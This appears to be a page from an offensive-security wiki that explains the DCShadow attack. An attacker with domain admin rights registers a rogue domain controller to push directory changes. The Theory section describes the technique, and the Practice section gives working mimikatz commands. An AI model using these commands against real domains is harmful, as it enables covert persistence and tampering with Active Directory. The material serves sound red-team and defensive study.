Theory

The idea behind this persistence technique is to have an attacker-controlled machine act as a domain controller (shadow DC) to push changes onto the domain by forcing other domain controllers to replicate.

There are two requirements for a machine to act as a domain controller:

1. Be registered as a DC in the domain: this is done by

   1. modifying the computer's SPN (ServicePrincipalName) to GC/$HOSTNAME.$DOMAIN/$DOMAIN

   2. adding an entry like CN=$HOSTNAME,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=$DOMAIN with the following attribute values:

      • objectClass: server

      • dNSHostName: $HOSTNAME.$DOMAIN

      • serverReference: CN=$HOSTNAME,CN=Computers,DC=$DOMAIN

2. Be able to request and/or respond to specific RPC calls: DRSBind, DRSUnbind, DRSCrackNames, DRSAddEntry, DRSReplicaAdd, DRSReplicaDel, DRSGetNCChanges.

Below is the attack workflow (step 1 & 2 can be switched if need be):

1. Register the workstation that will act as the shadow DC

   1. add the required entry in CN=Configuration

   2. modify the workstation's SPN

2. Prepare the changes to be pushed onto the domain (with calls to DRSAddEntry)

3. Push the changes by forcing another legitimate DC to replicate from the workstation with a DRSReplicaAdd call, which automatically makes a DRSGetNCChanges call from the legitimate DC to the shadow DC.

4. Unregister the workstation so it is not longer considered to be a DC (by a DRSReplicaDel call and by reverting changes made to CN=Configuration and the workstation's SPN).

It is important to note that this technique can be used as a "meta" one, in the sense that it permits to use other persistence techniques, such as SID History , Delegation to KRBTGT and even DACL abuse.

For instance, a DC Shadow attack can be conducted to register a controlled workstation as a domain controller, and then use that to push changes to the domain that would expose it to DACL abuse.

Practice

# In a mimikatz shell, launched with DA rights
# This will be the trigger shell
privilege::debug

# The following command will open a new mimikatz shell as NT-AUTHORITY\SYSTEM
# This will be the RPC shell
process::runp

# On both shell, run the following command to confirm permissions
# On the trigger shell, it will return the domain admin account name (used to lauch the first mimikatz shell)
# On the RPC shell, it will return NT-AUTHORITY\SYSTEM
token::whoami

# (RPC shell)
lsadump::dcshadow /object:ObjectToModify /attribute:AttributeToModifyOnTargetedObject /value:NewValueOfTargetedAttribute

# (Trigger shell)
# The command below will register the shadow DC, push the changes, and unregister
lsadump::dcshadow /push

Talk

Resources

lsadump::dcshadow /pushmysmartlogon

dcshadowThe Hacker Tools

Creating Persistence with DCShadowStealthbits Technologies

What a DCShadow Attack Is and How to Defend Against ItNetwrix Blog | Insights for Cybersecurity and IT Pros

DCShadow Attack using MimikatzNetwrix

[MS-ADTS]: Active Directory Technical SpecificationMicrosoftLearn